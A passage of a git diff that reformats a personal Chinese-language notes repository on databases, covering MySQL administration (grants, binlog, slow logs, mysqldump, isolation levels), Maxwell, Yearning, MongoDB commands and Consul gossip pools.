-LAN gossip池: 每个数据中心都有一个LAN池。 -LAN gossip池目的:运行client,自动发现server,减少配置量;gossip池允许可靠和快速的事件广播,比如leader选举。 + LAN gossip池: 每个数据中心都有一个LAN池。 + LAN gossip池目的:运行client,自动发现server,减少配置量;gossip池允许可靠和快速的事件广播,比如leader选举。 WAN池:全局唯一的,所有的server都应该加入WAN池,不论是哪个数据中心的。 WAN Pool提供会员信息让Server节点可执行跨数据中心的请求。 +5. -5. 服务注册过程,至少将存储正在运行的主机和端口服务。 服务发现过程,允许其他人能够发现我们在注册过程中存储的信息。 diff --git a/software/db/advanced.md b/software/db/advanced.md index 089bcd2..72dce04 100644 --- a/software/db/advanced.md +++ b/software/db/advanced.md @@ -1,72 +1,94 @@ +--- +created_date: 2020-11-25 +--- + +[TOC] ## MySQL Binlog 解析工具 -- 参考 - - https://blog.csdn.net/weixin_34026484/article/details/91456781?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.channel_param + +- 参考 + - https://blog.csdn.net/weixin_34026484/article/details/91456781?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.channel_param 1. Maxwell - - 是一个能实时读取MySQL二进制日志binlog,并生成 JSON 格式的消息,作为生产者发送给 Kafka,Kinesis、RabbitMQ、Redis、Google Cloud Pub/Sub、文件或其它平台的应用程序。 - - 常见应用场景有ETL、维护缓存、收集表级别的dml指标、增量到搜索引擎、数据分区迁移、切库binlog回滚方案等。 - - 官网(http://maxwells-daemon.io)、GitHub(https://github.com/zendesk/maxwell) + - 是一个能实时读取MySQL二进制日志binlog,并生成 JSON 格式的消息,作为生产者发送给 Kafka,Kinesis、RabbitMQ、Redis、Google Cloud Pub/Sub、文件或其它平台的应用程序。 + - 常见应用场景有ETL、维护缓存、收集表级别的dml指标、增量到搜索引擎、数据分区迁移、切库binlog回滚方案等。 + - 官网(http://maxwells-daemon.io)、GitHub(https://github.com/zendesk/maxwell) ## 优化 + ### Mysql导致的访问延迟优化 + - 成本由低到高 1. 第一 优化你的sql和索引 2. 第二 加缓存,memcached,redis 3. 第三 以上都做了后,还是慢,就做主从复制或主主复制,读写分离;可以在应用层做,效率高;也可以用三方工具,例如 360的atlas -4. 第四 如果以上都做了还是慢,mysql自带分区表,对应用是透明的,无需更改代码,但是sql语句是需要针对分区表做优化的,sql条件中要带上分区条件的列,从而使查询定位到少量的分区上,否则就会扫描全部分区; - - 分区表有一些坑; +4. 第四 如果以上都做了还是慢,mysql自带分区表,对应用是透明的,无需更改代码,但是sql语句是需要针对分区表做优化的,sql条件中要带上分区条件的列,从而使查询定位到少量的分区上,否则就会扫描全部分区; + - 分区表有一些坑; 5. 第五 如果以上都做了,那就做垂直拆分,根据你模块的耦合度,将一个大的系统分为多个小的系统,也就是分布式系统; 6. 第六 如果以上都做了,那就做水平切分,针对数据量大的表,这一步最麻烦,最能考验技术水平,要选择一个合理的sharding key,为了有好的查询效率,表结构也要改动,做一定的冗余,应用也要改,sql中尽量带sharding key,将数据定位到限定的表上去查,而不是扫描全部的表; ### Mysql 索引 + 通过不断的缩小想要获得数据的范围来筛选出最终想要的结果,例如字典 ### mysql慢日志查询 - ```sql - select CONVERT(sql_text using utf8),start_time from mysql.slow_log limit 3; - select query_time,start_time from mysql.slow_log ORDER BY query_time desc limit 20; - select db,count(*) as num from mysql.slow_log group by db; - ``` +```` +```sql +select CONVERT(sql_text using utf8),start_time from mysql.slow_log limit 3; +select query_time,start_time from mysql.slow_log ORDER BY query_time desc limit 20; +select db,count(*) as num from mysql.slow_log group by db; +``` +```` ## 问题与解决措施 -1. -Reading table information for completion of table and column names -You can turn off this feature to get a quicker startup with -A -MYSQL中数据库太大,导致读取预读库中表信息时间太长,从而显示这个提示 -改变数据库信息的操作,比如drop一个很大的表(几千万数据)而中途终止, 造成了锁表,从而显示这个提示 show processlist; +1. + +Reading table information for completion of table and column names +You can turn off this feature to get a quicker startup with -A +MYSQL中数据库太大,导致读取预读库中表信息时间太长,从而显示这个提示 +改变数据库信息的操作,比如drop一个很大的表(几千万数据)而中途终止, 造成了锁表,从而显示这个提示 show processlist; ## TiDB + - https://zhuanlan.zhihu.com/p/71073707 - TiDB 是 PingCAP 公司受 Google Spanner / F1 论文启发而设计的开源分布式 HTAP (Hybrid Transactional and Analytical Processing) 数据库,结合了传统的 RDBMS 和NoSQL 的最佳特性。TiDB 兼容 MySQL,支持无限的水平扩展,具备强一致性和高可用性。TiDB 的目标是为 OLTP(Online Transactional Processing) 和 OLAP (Online Analytical Processing) 场景提供一站式的解决方案。 ## 锁 + - InnoDB 引擎行锁是通过给索引上的索引项加锁来实现的,只有通过索引条件检索数据,InnoDB才使用行级锁,否则,InnoDB将使用表锁。 ## sql审核平台 + ### Yearning + - 参考 - - https://github.com/cookieY/Yearning - - https://guide.yearning.io/install.html + + - https://github.com/cookieY/Yearning + - https://guide.yearning.io/install.html - 注意 - - Yearning 1.x版本需inception提供SQL审核及回滚功能 - - Yearning 2.0开始无需依赖Inception,已自己实现了SQL审核/回滚功能;仅依赖Mysql数据库,mysql版本必须5.7及以上版本 - - 只支持Mysql的审核 + + - Yearning 1.x版本需inception提供SQL审核及回滚功能 + - Yearning 2.0开始无需依赖Inception,已自己实现了SQL审核/回滚功能;仅依赖Mysql数据库,mysql版本必须5.7及以上版本 + - 只支持Mysql的审核 + #### 部署 -1. 下载解压 -wget https://github.com/cookieY/Yearning/releases/download/v2.3.1/Yearning-2.3.1-GA-linux-amd64.zip -2. 初始化数据库 -./Yearning -m +1. 下载解压\ + wget https://github.com/cookieY/Yearning/releases/download/v2.3.1/Yearning-2.3.1-GA-linux-amd64.zip + +2. 初始化数据库\ + ./Yearning -m + +3. 默认参数启动 + + - ./Yearning -s + - 默认端口 0.0.0.0:8000 -3. 默认参数启动 - - ./Yearning -s - - 默认端口 0.0.0.0:8000 +## MySQL表结构同步工具 -## MySQL表结构同步工具 - 参考 - - https://github.com/hidu/mysql-schema-sync \ No newline at end of file + - https://github.com/hidu/mysql-schema-sync diff --git a/software/db/database.md b/software/db/database.md index 03435e4..5f57909 100644 --- a/software/db/database.md +++ b/software/db/database.md @@ -1,4 +1,11 @@ +--- +created_date: 2024-12-26 +--- + +[TOC] + ## Badger + 1. 是一个高效的、嵌入式的键值数据库,使用 Go 编程语言开发,广泛应用于需要快速读写性能和高效存储的场景。它由 Dgraph 团队开发,并以 Apache 2.0 开源许可提供。 2. 高性能: 使用 LSM-tree 和日志结构合并技术,适合写多读少的工作负载。 -3. 场景: 被许多区块链项目用作存储层,例如 Ethereum 客户端和 Filecoin。 \ No newline at end of file +3. 场景: 被许多区块链项目用作存储层,例如 Ethereum 客户端和 Filecoin。 diff --git a/software/db/maxwell.md b/software/db/maxwell.md index e3b6728..733b671 100644 --- a/software/db/maxwell.md +++ b/software/db/maxwell.md @@ -1,8 +1,15 @@ +--- +created_date: 2021-06-09 +--- + +[TOC] ## 安装 + 1. 数据库启用binlog 2. 数据库配置maxwell用户和数据库 + ```sql create database maxwell; create user 'maxwell'@'%' identified BY 'maxwell'; @@ -11,10 +18,12 @@ grant select, replication client, replication slave on *.* to 'maxwell'@'%'; ``` 3. 安装maxwell-1.33 - - java-11 - - https://github.com/zendesk/maxwell/releases/download/v1.33.1/maxwell-1.33.1.tar.gz + + - java-11 + - https://github.com/zendesk/maxwell/releases/download/v1.33.1/maxwell-1.33.1.tar.gz 4. 启动maxwell + ```bash ./bin/maxwell --user='maxwell' --password='password' --port=3306 --host='localhost' --producer=stdout @@ -39,6 +48,7 @@ grant select, replication client, replication slave on *.* to 'maxwell'@'%'; ``` 5. 通过配置文件启动maxwell ./bin/maxwell --config config.properties + ```conf # tl;dr config log_level=warn @@ -56,4 +66,4 @@ password=maxwell_1_33 schema_database=maxwell_1_33 filter= exclude: *.*, include: db1.table1 -``` \ No newline at end of file +``` diff --git a/software/db/mongo.md b/software/db/mongo.md index e39b7ef..ae106be 100644 --- a/software/db/mongo.md +++ b/software/db/mongo.md @@ -1,52 +1,60 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + https://docs.mongodb.com/manual/tutorial/enable-authentication/ + 1. 数据库级别操作 -use DATABASE_NAME -show dbs -db.dropDatabase() + use DATABASE_NAME + show dbs + db.dropDatabase() 2. 集合级别操作 -db.createCollection(CONNECTION_NAME, options) -show collections -db.collection.drop() + db.createCollection(CONNECTION_NAME, options) + show collections + db.collection.drop() + - 当执行插入文档操作时,没有集合则会默认创建这个集合 - db.CONNECTION_NAME.insert({"KEY":"VALUE"}) + db.CONNECTION_NAME.insert({"KEY":"VALUE"}) 2. 权限角色 - 0. 开启权限认证 mongod --auth --dbpath "D:\Program Files\MongoDB\Server\4.0\data" - 1. 数据库用户角色 - read: 只读数据权限 - readWrite:读写数据权限 - 2. 数据库管理角色 - dbAdmin: 在当前db中执行管理操作的权限 - dbOwner: 在当前db中执行任意操作 - userAdmin: 在当前db中管理user的权限 - 3. 查看全局所有账户 - ``` - use admin - db.system.users.find().pretty() - ``` - 4. 查看当前数据库的所有用户 - ``` - show users - ``` - 5. 为某个数据库创建一个用户 - ```shell - use DATABASE_NAME - db.createUser({user:"user",pwd:"pass",roles:["readWrite"]}) # 增加用户 - db.updateUser("user",{roles:[ {role:"read",db:"DATABASE_NAME"} ]}) # 修改用户 - db.auth("user","pass") # 切换用户 - ``` - 6. 创建全局用户 - ``` - use admin - db.addUser("global_user","global123") - ``` + 0\. 开启权限认证 mongod --auth --dbpath "D:\\Program Files\\MongoDB\\Server\\4.0\\data" + 1. 数据库用户角色 + read: 只读数据权限 + readWrite:读写数据权限 + 2. 数据库管理角色 + dbAdmin: 在当前db中执行管理操作的权限 + dbOwner: 在当前db中执行任意操作 + userAdmin: 在当前db中管理user的权限 + 3. 查看全局所有账户 + ``` + use admin + db.system.users.find().pretty() + ``` + 4. 查看当前数据库的所有用户 + ``` + show users + ``` + 5. 为某个数据库创建一个用户 + ```shell + use DATABASE_NAME + db.createUser({user:"user",pwd:"pass",roles:["readWrite"]}) # 增加用户 + db.updateUser("user",{roles:[ {role:"read",db:"DATABASE_NAME"} ]}) # 修改用户 + db.auth("user","pass") # 切换用户 + ``` + 6. 创建全局用户 + ``` + use admin + db.addUser("global_user","global123") + ``` 3. 查询 - - db.collection.find(query, projection).pretty() - - db.collection.find(条件, 获取的字段).pretty() - 1. and 查询 并且只输出title字段 - db.col.find({"by":"菜鸟教程", "title":"MongoDB 教程"},{title:true}).pretty() - 2. or 查询 - db.col.find({$or:[{"by":"菜鸟教程"},{"title": "MongoDB 教程"}]}).pretty() - 3. 查询字段title不为null的且存在记录值的document的数量 - db.getCollection('col').find({"title":{"$ne":null, , $exists:true}}).count() + - db.collection.find(query, projection).pretty() + - db.collection.find(条件, 获取的字段).pretty() + 1. and 查询 并且只输出title字段 + db.col.find({"by":"菜鸟教程", "title":"MongoDB 教程"},{title:true}).pretty() + 2. or 查询 + db.col.find({$or:[{"by":"菜鸟教程"},{"title": "MongoDB 教程"}]}).pretty() + 3. 查询字段title不为null的且存在记录值的document的数量 + db.getCollection('col').find({"title":{"$ne":null, , $exists:true}}).count() diff --git a/software/db/mysql/mysql.md b/software/db/mysql/mysql.md index 11594cb..1336dbf 100644 --- a/software/db/mysql/mysql.md +++ b/software/db/mysql/mysql.md @@ -1,11 +1,20 @@ +--- +created_date: 2021-08-05 +--- + +[TOC] + # Mysql总览 + 1. Mysql的层级架构 - - 连接层 数据库的连接,验证 - - SQL层 解析查询,优化查询,执行查询 - - 存储层 磁盘(InnoDB,MyISAM),内存memory,网络ndb + - 连接层 数据库的连接,验证 + - SQL层 解析查询,优化查询,执行查询 + - 存储层 磁盘(InnoDB,MyISAM),内存memory,网络ndb ## 机制 + ### 主从复制 + 1. master将改变记录到二进制日志(binary log)。 2. slave开启一个 I/O 线程,连接master,进行binlog dump process,从master的二进制日志中读取事件,然后写入本地的中继日志(relay log)内。如果已经同步好master的binlog事件,它将会睡眠并等待master产生新的事件。 -3. slave开启一个 SQL 线程,SQL线程从中继日志读取事件,并重放其中的事件而更新slave的数据,使其与master中的数据一致。假设该线程与I/O线程保持一致,中继日志通常会位于OS的缓存中,所以中继日志的开销很小。 \ No newline at end of file +3. slave开启一个 SQL 线程,SQL线程从中继日志读取事件,并重放其中的事件而更新slave的数据,使其与master中的数据一致。假设该线程与I/O线程保持一致,中继日志通常会位于OS的缓存中,所以中继日志的开销很小。 diff --git a/software/db/mysql/mysql_dba.md b/software/db/mysql/mysql_dba.md index 2b2bc11..70a4037 100644 --- a/software/db/mysql/mysql_dba.md +++ b/software/db/mysql/mysql_dba.md @@ -1,3 +1,9 @@ +--- +created_date: 2021-08-05 +--- + +[TOC] + ## 特性 ### 事物隔离级别 @@ -5,104 +11,114 @@ - 参考 https://www.cnblogs.com/micro-chen/p/5629188.html - 在MySQL中,实现了这四种隔离级别,分别有可能产生问题如下所示: - 1. Serializable (串行化):可避免脏读、不可重复读、幻读的发生。 - 2. Repeatable-read(可重复读):可避免脏读、不可重复读。默认值。Mysql的Repeatable-read隔离级别也实现了避免幻读的发生。 - 3. Read-committed (读已提交):可避免脏读的发生。 - 4. Readuncommitted (读未提交):最低级别,任何情况都无法保证。 - - 脏读 A事物执行过程中,B读取了A事物未commit的修改,但是由于某些原因,发生RollBack了操作,则B事务所读取的数据就会是不正确的。 - - 不可重复读 B事务读取了两次数据,在这两次的读取过程中A事务修改了数据,B事务的这两次读取出来的数据不一样。 - - 幻读 B事务读取了两次数据,在这两次的读取过程中A事务添加了数据,B事务的这两次读取出来的集合不一样。 + 1. Serializable (串行化):可避免脏读、不可重复读、幻读的发生。 + 2. Repeatable-read(可重复读):可避免脏读、不可重复读。默认值。Mysql的Repeatable-read隔离级别也实现了避免幻读的发生。 + 3. Read-committed (读已提交):可避免脏读的发生。 + 4. Readuncommitted (读未提交):最低级别,任何情况都无法保证。 + + - 脏读 A事物执行过程中,B读取了A事物未commit的修改,但是由于某些原因,发生RollBack了操作,则B事务所读取的数据就会是不正确的。 + - 不可重复读 B事务读取了两次数据,在这两次的读取过程中A事务修改了数据,B事务的这两次读取出来的数据不一样。 + - 幻读 B事务读取了两次数据,在这两次的读取过程中A事务添加了数据,B事务的这两次读取出来的集合不一样。 - 设置事物的隔离级别 - ```sql - -- 类似于select操作时不添加锁 - SET SESSION TRANSACTION ISOLATION LEVEL READ UNCOMMITTED; - SELECT * FROM TABLE_NAME ; - SET SESSION TRANSACTION ISOLATION LEVEL REPEATABLE READ; - - -- 设置事物的隔离级别 - SELECT @@global.tx_isolation; -- the global isolation level - SELECT @@tx_isolation; -- current session isolation level - set tx_isolation = 'read-uncommitted'; -- set current session isolation level - ``` + + ```sql + -- 类似于select操作时不添加锁 + SET SESSION TRANSACTION ISOLATION LEVEL READ UNCOMMITTED; + SELECT * FROM TABLE_NAME ; + SET SESSION TRANSACTION ISOLATION LEVEL REPEATABLE READ; + + -- 设置事物的隔离级别 + SELECT @@global.tx_isolation; -- the global isolation level + SELECT @@tx_isolation; -- current session isolation level + set tx_isolation = 'read-uncommitted'; -- set current session isolation level + ``` - 基于锁实现Repeatable-Read - 1. 多线程同时更新同一条记录,加X锁。所以并发场景下的 update 是串行执行的。 - 2. 工业定义上的 select 一条记录,这个时候会在记录上加读共享锁(S锁),并到事务结束,因为在这种情况下才能实现记录在事务时间跨度上的可重复读。在读的时候不允许其他事务修改这条记录。 - 3. update 一条语句,这个时候会在记录上加行级排他锁(X锁),并到事务结束,这中场景下,其他读事务会被阻塞。 + + 1. 多线程同时更新同一条记录,加X锁。所以并发场景下的 update 是串行执行的。 + 2. 工业定义上的 select 一条记录,这个时候会在记录上加读共享锁(S锁),并到事务结束,因为在这种情况下才能实现记录在事务时间跨度上的可重复读。在读的时候不允许其他事务修改这条记录。 + 3. update 一条语句,这个时候会在记录上加行级排他锁(X锁),并到事务结束,这中场景下,其他读事务会被阻塞。 - Mysql实现Repeatable-Read - - MVVC (Multi-Version Concurrency Control) (注:与MVCC相对的,是基于锁的并发控制,Lock-Based Concurrency Control)是一种基于多版本的并发控制协议,只有在InnoDB引擎下存在。 - - MVCC只在 READ COMMITTED 和 REPEATABLE READ 两个隔离级别下工作 - 1. 读不影响写:事务以排他锁的形式修改原始数据,读时不加锁,因为 MySQL 在事务隔离级别Read-committed 、Repeatable-Read下,InnoDB 存储引擎采用非锁定性一致读--即读取不占用不等待表上的锁。即采用的是MVCC中一致性非锁定读模式。因读时不加锁,所以不会阻塞其他事物在相同记录上加 X锁来更改这行记录。 - 2. 写不影响读:事务以排他锁的形式修改原始数据,当读取的行正在执行 delete 或者 update 操作,这时读取操作不会因此去等待行上锁的释放。相反地,InnoDB 存储引擎会去读取行的一个快照数据。 + + - MVVC (Multi-Version Concurrency Control) (注:与MVCC相对的,是基于锁的并发控制,Lock-Based Concurrency Control)是一种基于多版本的并发控制协议,只有在InnoDB引擎下存在。 + - MVCC只在 READ COMMITTED 和 REPEATABLE READ 两个隔离级别下工作 + + 1. 读不影响写:事务以排他锁的形式修改原始数据,读时不加锁,因为 MySQL 在事务隔离级别Read-committed 、Repeatable-Read下,InnoDB 存储引擎采用非锁定性一致读--即读取不占用不等待表上的锁。即采用的是MVCC中一致性非锁定读模式。因读时不加锁,所以不会阻塞其他事物在相同记录上加 X锁来更改这行记录。 + 2. 写不影响读:事务以排他锁的形式修改原始数据,当读取的行正在执行 delete 或者 update 操作,这时读取操作不会因此去等待行上锁的释放。相反地,InnoDB 存储引擎会去读取行的一个快照数据。 ### 缓存QCache -- 参考 - - https://blog.csdn.net/zdw19861127/article/details/84937562 + +- 参考 + + - https://blog.csdn.net/zdw19861127/article/details/84937562 - 机制: 缓存SELECT操作 或 预处理查询(5.1.17开始支持)的结果集和SQL语句 - 查看 - ```sql - -- 查看是否开启了缓存 - show variables like '%query%'; - -- query_cache_type 和 query_cache_size -- 都不为0表示开启了查询缓存功能。 - -- query_cache_type - -- 1(ON): 启用查询缓存,只要符合查询缓存的要求,客户端的查询语句和记录集合可以 缓存起来,共其他客户端使用; - -- 2(DEMAND): 启用查询缓存,只要查询语句中添加了参数:sql_cache,且符合查询缓存的要求,客户端的查询语句和记录集,则可以缓存起来,共其他客户端使用; - - -- 查看缓存的具体状态 - show global status like 'QCache%'; - - -- 查询缓存会生成碎片,通过下面命令来清理碎片 - flush query cache; - reset query cache - ``` + + ```sql + -- 查看是否开启了缓存 + show variables like '%query%'; + -- query_cache_type 和 query_cache_size -- 都不为0表示开启了查询缓存功能。 + -- query_cache_type + -- 1(ON): 启用查询缓存,只要符合查询缓存的要求,客户端的查询语句和记录集合可以 缓存起来,共其他客户端使用; + -- 2(DEMAND): 启用查询缓存,只要查询语句中添加了参数:sql_cache,且符合查询缓存的要求,客户端的查询语句和记录集,则可以缓存起来,共其他客户端使用; + + -- 查看缓存的具体状态 + show global status like 'QCache%'; + + -- 查询缓存会生成碎片,通过下面命令来清理碎片 + flush query cache; + reset query cache + ``` ## 运维基本操作一 + 1. 设置临时变量 -set @key="value"; -select @num:=1; -select @num:=字段名 from 表名; + set @key="value"; + select @num:=1; + select @num:=字段名 from 表名; 2. 系统变量 -SET @@GLOBAL.slave_parallel_workers = 0; -select @@GLOBAL.slave_parallel_workers; + SET @@GLOBAL.slave_parallel_workers = 0; + select @@GLOBAL.slave_parallel_workers; -3. 在sql语句最后面添加\G,可以格式化输出结果。 +3. 在sql语句最后面添加\\G,可以格式化输出结果。 -5. 查看索引 -show indexes from 表名; -show keys from 表名; +4. 查看索引 + show indexes from 表名; + show keys from 表名; -6. 查看参数修改参数 -show variables; -show variables like “参数名称“ +5. 查看参数修改参数 + show variables; + show variables like “参数名称“ set global variablesname=''(全局) set variablesname=''(当前session) -8. 显示当前使用或者指定的database中的每个表的信息。信息包括表类型和表的最新更新时间。 -show table status; +08. 显示当前使用或者指定的database中的每个表的信息。信息包括表类型和表的最新更新时间。 + show table status; -9. 显示最后一个执行的sql语句所产生的错误、警告和通知。 -show warnings; +09. 显示最后一个执行的sql语句所产生的错误、警告和通知。 + show warnings; 10. 查看表格的详细信息 -- 显结构,字段类型,主键,是否为空等属性,但不显示外键。 -select * from information_schema.columns where table_schema = '数据库名' and table_name = '表名' and COLUMN_NAME='列名'\G; + select * from information_schema.columns where table_schema = '数据库名' and table_name = '表名' and COLUMN_NAME='列名'\\G; -11. 设置密码规则复杂度为0 v5.7 -set global validate_password_policy=0; -set global validate_password_length=1; +11. 设置密码规则复杂度为0 v5.7 + set global validate_password_policy=0; + set global validate_password_length=1; 12. 创建数据库 -create database ${datapath} charset 'utf8mb4'; + create database ${datapath} charset 'utf8mb4'; ## 运维基本操作二 ### 登入&执行sql脚本 + - 参考 https://www.cnblogs.com/zengkefu/p/5690092.html ```bash @@ -130,7 +146,9 @@ mysql -u${user} -p${password} -P${PORT} -h${host} -S ${sockpath} -D${datapath} < ``` ### 导入导出数据 + #### mysql + ```sql -- 1. 导出查询到的数据 mysql --login-path=${key_name} ${sql脚本路径} data.txt @@ -139,7 +157,9 @@ mysql --login-path={key_name} -e "${sql语句}" > data.txt -- 2. 导出查询到的数据为csv文件 sql语句 into outfile '/tmp/table.csv' fields terminated by ',' optionally enclosed by '"' lines terminated by '\r\n'; ``` + #### mysqldump + ```bash time mysqldump --skip-add-locks --single-transaction --default-character-set=utf8mb4 --set-gtid-purged=off -h${host} -u${user} -p${pass} ${database} ${table} > ${table}.sql @@ -162,49 +182,53 @@ time mysqldump --skip-add-locks --single-transaction --default-character-set=utf ``` - 记录 - - 导出2g数据耗时 - ```log - real 0m38.495s - user 0m35.658s - sys 0m2.261s - ``` + - 导出2g数据耗时 + ```log + real 0m38.495s + user 0m35.658s + sys 0m2.261s + ``` ### binlog + 1. 查看内存状态的binlog配置 - ```sql - -- 查看默认设置的binlog过期时间 - show variables like "%expire_logs%"; - -- 临时设置binlog保留时间 - set global expire_logs_days=15 - -- 查看数据库是否开启binlog日志 - show variables like '%log_bin%'; - -- 查看所有binlog文件 - show binary logs; - -- 只查看第一个binlog文件的内容 - show binlog events; - -- show binlog events in 'mysql-bin.000003'; - - -- 清理binlog日志 - purge master logs to 'binlognumber'; - ``` + + ```sql + -- 查看默认设置的binlog过期时间 + show variables like "%expire_logs%"; + -- 临时设置binlog保留时间 + set global expire_logs_days=15 + -- 查看数据库是否开启binlog日志 + show variables like '%log_bin%'; + -- 查看所有binlog文件 + show binary logs; + -- 只查看第一个binlog文件的内容 + show binlog events; + -- show binlog events in 'mysql-bin.000003'; + + -- 清理binlog日志 + purge master logs to 'binlognumber'; + ``` 2. 用mysql自带的工具,提取出binlog日志进行分析 - ```bash - host=127.0.0.1 - user=root - start_datetime="2021-05-27 10:00:00" # 开始时间 - stop_datetime="2021-05-27 10:30:00" # 结束时间 - binlogfile="mysql-binlog.191250" # 从哪个binlog文件开始提取 - result_file=='mysql-binlog.txt' # 保存结果进文件 - - mysqlbinlog --no-defaults --read-from-remote-server --host=${host} --port=3306 --user ${user} --password --base64-output=decode-rows -v --start-datetime="${start_datetime}" --stop_datetime="${stop_datetime}" --stop-never --result-file=${result_file} ${binlogfile} - - # --database=数据库名 -d=数据库名 - # --base64-output=decode-rows binglog格式为row时,进行解码 - # --skip-gtids=true - ``` + + ```bash + host=127.0.0.1 + user=root + start_datetime="2021-05-27 10:00:00" # 开始时间 + stop_datetime="2021-05-27 10:30:00" # 结束时间 + binlogfile="mysql-binlog.191250" # 从哪个binlog文件开始提取 + result_file=='mysql-binlog.txt' # 保存结果进文件 + + mysqlbinlog --no-defaults --read-from-remote-server --host=${host} --port=3306 --user ${user} --password --base64-output=decode-rows -v --start-datetime="${start_datetime}" --stop_datetime="${stop_datetime}" --stop-never --result-file=${result_file} ${binlogfile} + + # --database=数据库名 -d=数据库名 + # --base64-output=decode-rows binglog格式为row时,进行解码 + # --skip-gtids=true + ``` ### 查看数据库和表的大小 + ```sql -- 查看整个mysql的容量大小 select concat(round(sum((data_length+index_length)/1024/1024),2),'MB') as volume from information_schema.tables; @@ -238,53 +262,57 @@ order by sum(data_length) desc, sum(index_length) desc; ``` ### 配置慢日志 + 1. 临时配置 - ```sql - show variables like 'slow_query%'; - show variables like 'long_query_time'; - set global slow_query_log='ON'; + ```sql + show variables like 'slow_query%'; + show variables like 'long_query_time'; - set global slow_query_log_file='/tmp/garyslow.log'; -- linux - set global slow_query_log_file='D:\\mysq\data\slow.log'; -- windows + set global slow_query_log='ON'; - set global long_query_time=1; -- 设置耗时多少秒为慢查询 - ``` + set global slow_query_log_file='/tmp/garyslow.log'; -- linux + set global slow_query_log_file='D:\\mysq\data\slow.log'; -- windows -2. 永久配置 - ```sql - [mysqld] - slow_query_log = ON - slow_query_log_file = /usr/local/mysql/data/slow.log - long_query_time = 1 - log_output = 'FILE,TABLE' -- 日志存储方式 默认值是’FILE’,雀圣写入 host_name-slow.log 文件中。log_output='TABLE’表示将日志存入数据库 mysql.slow_log 表中。 - -- log_queries_not_using_indexes -- 未使用索引的查询也被记录到慢查询日志中(可选项) - ``` + set global long_query_time=1; -- 设置耗时多少秒为慢查询 + ``` +2. 永久配置 + ```sql + [mysqld] + slow_query_log = ON + slow_query_log_file = /usr/local/mysql/data/slow.log + long_query_time = 1 + log_output = 'FILE,TABLE' -- 日志存储方式 默认值是’FILE’,雀圣写入 host_name-slow.log 文件中。log_output='TABLE’表示将日志存入数据库 mysql.slow_log 表中。 + -- log_queries_not_using_indexes -- 未使用索引的查询也被记录到慢查询日志中(可选项) + ``` ### 用户权限操作 + 1. 查看用户权限 - ```sql - show grants for username@'%'; - show grants for username@'localhost'; - ``` + ```sql + show grants for username@'%'; + show grants for username@'localhost'; + ``` 2. 查看当前用户 - ```sql - select user(); - ``` + ```sql + select user(); + ``` 3. 查看所有的用户 - ```sql - SELECT HOST,USER FROM mysql.user; - SELECT DISTINCT CONCAT('User: ''',user,'''@''',host,''';') AS query FROM mysql.user; - ``` + ```sql + SELECT HOST,USER FROM mysql.user; + SELECT DISTINCT CONCAT('User: ''',user,'''@''',host,''';') AS query FROM mysql.user; + ``` 4. 增加管理员并且拥有授权权限 + ```sql grant all privileges on *.* to 'dbusername'@'%' identified by 'password' with grant option; flush privileges; ``` -5. 增加应用用户 +05. 增加应用用户 + ```sql grant select,insert,update,delete on `dbname`.* to 'dbusername'@'%' identified by 'password'; -- 或某个数据库所有权 @@ -292,7 +320,8 @@ order by sum(data_length) desc, sum(index_length) desc; flush privileges; ``` -6. 撤销权限 +06. 撤销权限 + ```sql revoke all privileges on *.* from 'dbusername'@'%'; revoke update, delete ON *.* from 'dbusername'@'%'; @@ -300,7 +329,8 @@ order by sum(data_length) desc, sum(index_length) desc; REVOKE all privileges, GRANT OPTION FROM 'dbusername'@'%'; ``` -7. 改用户密码 +07. 改用户密码 + ```sql set password for root@localhost = password('123'); @@ -308,7 +338,9 @@ order by sum(data_length) desc, sum(index_length) desc; update user set authentication_string = password('newpass') where user = 'root'; flush privileges; ``` -8. 删除用户及权限 + +08. 删除用户及权限 + ```sql delete from mysql.user where User='dbusername' and Host='localhost'; flush privileges; -- 刷新权限 @@ -316,7 +348,8 @@ order by sum(data_length) desc, sum(index_length) desc; drop user dbusername@'%'; -- 删除账户及权限 ``` -9. 赋予super权限 +09. 赋予super权限 + ```sql select user,Super_priv from mysql.user; update mysql.user set Super_priv='Y' where user='gary'; @@ -325,6 +358,7 @@ order by sum(data_length) desc, sum(index_length) desc; ``` 10. 权限与用户 + ```sql -- 创建用户 create user username@localhost identified by 'password'; @@ -348,68 +382,88 @@ flush privileges; ``` ## DBA + - DBA日常工作 -- 排查性能问题 - 工具 -pt-query-digest 工具是包含在Percona toolkit里的. 相关安装方式可以参考 https://www.percona.com/doc/percona-toolkit/LATEST/installation.html + pt-query-digest 工具是包含在Percona toolkit里的. 相关安装方式可以参考 https://www.percona.com/doc/percona-toolkit/LATEST/installation.html - 显示内部信息 - ```sql - show engine innodb status - ``` + + ```sql + show engine innodb status + ``` ### 连接数、状态、最大并发数 -1. 查看连接数限制 - show variables like '%connections%'; -2. 查看历史上最大连接数 - show global status like 'max_used_connections'; -3. 设置最大连接数 - set global max_connections=1000 + +1. 查看连接数限制 + show variables like '%connections%'; + +2. 查看历史上最大连接数 + show global status like 'max_used_connections'; + +3. 设置最大连接数 + set global max_connections=1000 + 4. 查看连接数信息 - show status like 'Threads%'; - - 输出说明: - 1. Threads_cached 34 # mysql管理的线程池中还有多少可以被复用的资源 - 2. Threads_connected 32 # 打开的连接数 - 3. Threads_created 66 # 代表新创建的thread(根据官方文档,如果thread_created增大迅速,需要适当调高 thread_cache_size)。 - 4. Threads_running 2 # 激活的连接数,这个数值一般远低于connected数值,准确的来说,Threads_running是代表当前并发数 - -5. information_schema.processlist - 1. 当前的连接信息都保存在这张表格里 information_schema.processlist, 字段说明如下 - ```yaml - id: 为连接的应用id号 - user: 为连接数据库的用户 - host: 为连接数据的主机IP地址和端口 - db: 为连接访问的数据库 - command: 为当前正在执行的SQL语句类型,分为Query,Update,Updating等 - time: 为应用的Sleep时间 - state: 为当前连接的状态,共包括Copying to tmp table on disk,Flushing tables,Sending data等二十多种状态。 - info: 为当前应用连接执行的SQL语句,如果语句过长,可能会显示不完整。 - ``` - 2. 查看应用的连接 - ```sql - show processlist; - show full processlist; - -- 查看非睡眠状态的连接 - select ID,USER,HOST,DB,COMMAND,TIME,STATE from information_schema.processlist where Command != 'Sleep' order by Time desc; - select ID,USER,HOST,DB,COMMAND,TIME,STATE,INFO from information_schema.processlist where Command != 